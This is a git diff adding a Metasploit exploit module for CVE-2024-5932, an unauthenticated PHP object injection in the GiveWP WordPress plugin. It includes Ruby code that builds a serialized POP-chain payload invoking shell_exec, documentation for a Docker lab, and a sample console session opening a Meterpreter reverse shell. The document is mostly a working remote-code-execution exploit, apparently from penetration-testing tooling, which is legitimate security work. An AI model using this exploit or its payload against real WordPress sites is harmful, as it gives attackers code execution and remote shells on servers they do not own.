diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index 906ad81bf8..dd106c68ae 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -62,3 +62,4 @@ file-manager-advanced-shortcode royal-elementor-addons backup-backup hash-form +give diff --git a/documentation/modules/exploit/multi/http/wp_givewp_rce.md b/documentation/modules/exploit/multi/http/wp_givewp_rce.md new file mode 100644 index 0000000000..29b456ed84 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_givewp_rce.md @@ -0,0 +1,94 @@ +## Vulnerable Application + +This Metasploit module exploits an unauthenticated PHP Object Injection vulnerability in the +GiveWP plugin for WordPress (versions <= 3.14.1). +The vulnerability is present in the 'give_title' parameter, allowing attackers to inject a crafted +PHP object leading to remote code execution (RCE) when combined with a suitable POP chain. + +## Setup + +1. **Docker Compose Setup**: Create the following `docker-compose.yml` file to set up a vulnerable WordPress environment: + +```yaml +services: + db: + image: mysql:8.0.27 + command: '--default-authentication-plugin=mysql_native_password' + restart: always + environment: + - MYSQL_ROOT_PASSWORD=somewordpress + - MYSQL_DATABASE=wordpress + - MYSQL_USER=wordpress + - MYSQL_PASSWORD=wordpress + expose: + - 3306 + - 33060 + + wordpress: + image: wordpress:6.3.2 + ports: + - "80:80" + restart: always + environment: + - WORDPRESS_DB_HOST=db + - WORDPRESS_DB_USER=wordpress + - WORDPRESS_DB_PASSWORD=wordpress + - WORDPRESS_DB_NAME=wordpress +volumes: + db_data: +``` +1. Run Docker: `docker compose up` +1. Access the WordPress instance at `http://127.0.0.1` and complete the installation process +1. **Download and Install Vulnerable GiveWP Plugin**: +- Download the plugin: [GiveWP 3.14.1](https://downloads.wordpress.org/plugin/give.3.14.1.zip) +- Unzip the plugin and copy it to the Docker container: +```bash +docker compose cp give wordpress:/var/www/html/wp-content/plugins +``` +- Access the WordPress instance at `http://localhost` and activate the GiveWP plugin via the admin dashboard. + +1. **Create a Donation Form**: + - Navigate to the "Forms" section within the GiveWP plugin and click on "Add Form." + - Select any form. + - Configure the form as needed, publish it. + +## Options + +No specific options need to be configured. + +## Verification Steps + +1. Start `msfconsole`. +2. Use the module with `use exploit/multi/http/wp_givewp_rce`. +3. Set `RHOSTS`, `RPORT`, and the necessary WordPress-specific options. +4. Run the exploit. +5. Gain a Meterpreter session. + +## Scenarios + +### GiveWP Plugin version: 3.14.1 (Dockerized WordPress Version 6.3.2) + +Using `cmd/linux/http/x64/meterpreter/reverse_tcp`: + +```bash +msf6 > use exploit/multi/http/wp_givewp_rce +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf6 exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:8888 + +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] WordPress Version: 6.3.2 +[+] Detected GiveWP Plugin version: 3.14.1 +[+] The target appears to be vulnerable. +[+] Successfully retrieved form list. Available Form IDs: 8, 10, 13 +[*] Using Form ID: 13 for exploitation. +[*] Sending stage (3045380 bytes) to 172.24.0.3 +[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.24.0.3:51272) at 2024-08-27 22:11:22 +0200 + +meterpreter > sysinfo +Computer : 172.24.0.3 +OS : Debian 11.8 (Linux 5.15.0-119-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/modules/exploits/multi/http/wp_givewp_rce.rb b/modules/exploits/multi/http/wp_givewp_rce.rb new file mode 100644 index 0000000000..751b0c2e24 --- /dev/null +++ b/modules/exploits/multi/http/wp_givewp_rce.rb @@ -0,0 +1,171 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Wordpress + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'GiveWP Unauthenticated Donation Process Exploit', + 'Description' => %q{ + The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress in all versions up to and including 3.14.1 is vulnerable to a PHP Object Injection (POI) attack granting an unauthenticated arbitrary code execution. + }, + + 'License' => MSF_LICENSE, + 'Author' => [ + 'Villu Orav', # Initial Discovery + 'EQSTSeminar', # Proof of Concept + 'Julien Ahrens', # Vulnerability Analysis + 'Valentin Lobstein' # Metasploit Module + ], + 'References' => [ + ['CVE', '2024-5932'], + ['URL', 'https://github.com/EQSTSeminar/CVE-2024-5932'], + ['URL', 'https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932'], + ['URL', 'https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin'] + ], + 'DisclosureDate' => '2024-08-25', + 'Platform' => %w[unix linux win], + 'Arch' => [ARCH_CMD], + 'Privileged' => false, + 'Targets' => [ + [ + 'Unix/Linux Command Shell', + { + 'Platform' => %w[unix linux], + 'Arch' => ARCH_CMD + # tested with cmd/linux/http/x64/meterpreter/reverse_tcp + } + ], + [ + 'Windows Command Shell', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD + # tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ] + ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + end + + def check + return CheckCode::Unknown unless wordpress_and_online? + + print_status("WordPress Version: #{wordpress_version}") if wordpress_version + check_code = check_plugin_version_from_readme('give', '3.14.2') + return CheckCode::Safe unless check_code.code == 'appears' + + print_good("Detected GiveWP Plugin version: #{check_code.details[:version]}") + CheckCode::Appears + end + + def exploit + forms = fetch_form_list + fail_with(Failure::UnexpectedReply, 'No forms found.') if forms.empty? + + selected_form = forms.sample + valid_form = retrieve_and_analyze_form(selected_form['id']) + + return print_error('Failed to retrieve a valid form for exploitation.') unless valid_form + + print_status("Using Form ID: #{valid_form['give_form_id']} for exploitation.") + send_exploit_request( + valid_form['give_form_id'], + valid_form['give_form_hash'], + valid_form['give_price_id'], + valid_form['give_amount'] + ) + end + + def fetch_form_list + res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), + 'data' => 'action=give_form_search' + ) + + return print_error('Failed to retrieve form list.') unless res&.code == 200 + + forms = JSON.parse(res.body) + form_ids = forms.map { |form| form['id'] }.sort + + print_good("Successfully retrieved form list. Available Form IDs: #{form_ids.join(', ')}") + forms + end + + def retrieve_and_analyze_form(form_id) + form_res = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), + 'vars_post' => { 'action' => 'give_donation_form_nonce', 'give_form_id' => form_id } + ) + + return unless form_res&.code == 200 + + form_data = JSON.parse(form_res.body) + give_form_id = form_id + give_form_hash = form_data['data'] + give_price_id = '0' + give_amount = '$10.00' + # Somehow, can't randomize give_price_id and give_amount otherwise the exploit won't work. + + return unless give_form_hash + + { + 'give_form_id' => give_form_id, + 'give_form_hash' => give_form_hash, + 'give_price_id' => give_price_id, + 'give_amount' => give_amount + } + end + + def send_exploit_request(give_form_id, give_form_hash, give_price_id, give_amount) + final_payload = format( + 'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";' \ + 'O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{' \ + 's:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";' \ + 'O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";' \ + 's:10:"shell_exec";s:12:"\\0*\\0generator";' \ + 'O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{' \ + 's:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%d:"%s";}}' \ + 's:13:"\\0*\\0maxRetries";i:10;}}}}}}', + length: payload.encoded.length, + encoded: payload.encoded + ) + + data = { + 'give-form-id' => give_form_id, + 'give-form-hash' => give_form_hash, + 'give-price-id' => give_price_id, + 'give-amount' => give_amount, + 'give_first' => Faker::Name.first_name, + 'give_last' => Faker::Name.last_name, + 'give_email' => Faker::Internet.email, + 'give_title' => final_payload, + 'give-gateway' => 'offline', + 'action' => 'give_process_donation' + } + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'), + 'data' => URI.encode_www_form(data) + }, 0) + end +end